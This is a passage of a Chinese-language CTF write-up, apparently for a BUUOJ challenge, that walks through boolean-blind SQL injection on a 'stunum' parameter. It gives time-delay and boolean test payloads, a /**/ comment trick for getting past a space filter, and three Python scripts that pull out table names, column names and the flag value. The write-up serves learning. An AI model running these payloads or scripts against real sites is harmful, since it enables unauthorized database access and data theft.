返回student number not exists.,正确查询和错误查询对应两种状态,所以可以确定这可以用布尔盲注来解决。
尝试注入以下查询:
1
?stunum=-1 or (ascii(substr(database(),1,1))>-1)
结果返回的是student number not exists,正常情况下,因为stunnum=-1不存在,所以会去执行or后面的查询,而(ascii(substr(database(),1,1))>-1)肯定是true的,也就是1,所以应该返回的是数据库中的第一条记录。
所以又尝试了时间延迟注入:
1
?stunnum=-1 or sleep(5)
发现返回的也是student number not exists,这里有点问题,因为我们不知道它究竟是过滤了空格还是or,先推断它是过滤了空格,把空格替换成/**/之后,再尝试时间延迟注入,页面的响应时间果然是5秒,成了,就是过滤空格。
接着再进行bool注入:
果然得到了我们预期的效果。
接下来就简单了,直接写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import requests
url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s' # 爆数据表 exp = '-1/**/or/**/(ascii(substr((select/**/group_concat(TABLE_NAME)/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()),%s,1))=%s)' res = '' for i in range(1,30): for j in range(32,127): now_exp = exp % (i,j) now_url = url % now_exp r = requests.get(url=now_url) if'admin'in r.text: res += chr(j) print (res) break
发现有两张表,flag和score。
不搞幺蛾子的话,flag就在表flag中,所以接下来爆flag表的字段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests
url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s' exp = '-1/**/or/**/(ascii(substr((select/**/group_concat(COLUMN_NAME)/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x666c6167),%s,1))=%s)' res = '' for i in range(1,30): for j in range(32,127): now_exp = exp % (i,j) now_url = url % now_exp r = requests.get(url=now_url) if'admin'in r.text: res += chr(j) print (res) break
最后就是爆数据,在flag字段没找到,所以尝试value字段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests
url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s' exp = '-1/**/or/**/(ascii(substr((select/**/value/**/from/**/flag/**/limit/**/0,1),%s,1))=%s)' res = '' for i in range(1,50): for j in range(32,127): now_exp = exp % (i,j) now_url = url % now_exp r = requests.get(url=now_url) if'admin'in r.text: res += chr(j) print (res) break